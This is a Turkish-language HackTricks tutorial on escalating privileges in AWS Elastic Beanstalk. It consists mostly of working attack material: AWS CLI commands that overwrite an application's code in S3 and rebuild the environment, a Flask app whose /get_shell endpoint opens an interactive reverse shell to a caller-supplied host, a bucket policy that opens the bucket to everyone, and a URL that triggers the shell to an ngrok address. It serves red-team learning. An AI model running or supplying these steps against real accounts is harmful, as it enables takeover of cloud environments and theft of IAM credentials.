AWS - Elastic Beanstalk Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Elastic Beanstalk

Elastic Beanstalk hakkında daha fazla bilgi için:

pageAWS - Elastic Beanstalk Enum

Beanstalk'ta hassas işlemler gerçekleştirmek için birçok farklı hizmette hassas izinlere sahip olmanız gerekmektedir. Örneğin, arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk izinlerine bakabilirsiniz.

elasticbeanstalk:RebuildEnvironment, S3 yazma izinleri ve diğerleri

Ortamın kodunu içeren S3 kovasına yazma izinleri ve uygulamayı yeniden oluşturma izinleriyle ( elasticbeanstalk:RebuildEnvironment ve S3, EC2 ve Cloudformation ile ilgili birkaç izin gereklidir), kodu değiştirebilir, uygulamayı yeniden oluşturabilir ve bir sonraki erişimde uygulama yeni kodunuzu çalıştırabilir, saldırganın uygulamayı ve IAM rol kimlik bilgilerini ele geçirmesine olanak tanır.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, ve daha fazlası...

Bahsedilenlerin yanı sıra, bir Elastic Beanstalk senaryosunu sıfırdan oluşturmak için S3, EC2, cloudformation ,autoscaling ve elasticloadbalancing izinleri gereklidir.

  • Bir AWS Elastic Beanstalk uygulaması oluşturun:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Eğer bir ortam zaten oluşturulmuşsa ve yeni bir tane oluşturmak istemiyorsanız, sadece mevcut olanı güncelleyebilirsiniz.

  • Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin:

zip -r MyApp.zip .
  • S3 kovasına ZIP dosyasını yükleyin:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk uygulama sürümü oluşturun:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • AWS Elastic Beanstalk ortamınıza uygulama sürümünü dağıtın:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Öncelikle, önceki adımları takip ederek, hedefte çalıştırmak istediğiniz kodu içeren geçerli bir Beanstalk ortamı oluşturmanız gerekmektedir. Potansiyel olarak, bu 2 dosyayı içeren basit bir zip dosyası:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Kendi Beanstalk ortamınızda çalışan ters kabuğunuz olduğunda, onu kurbanın ortamına taşımak için zamanı gelmiştir. Bunun için Beanstalk S3 kovasının Bucket Policy'sini güncellemeniz gerekmektedir, böylece kurban erişebilir (Bu, kovayı HERKESE açacaktır):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated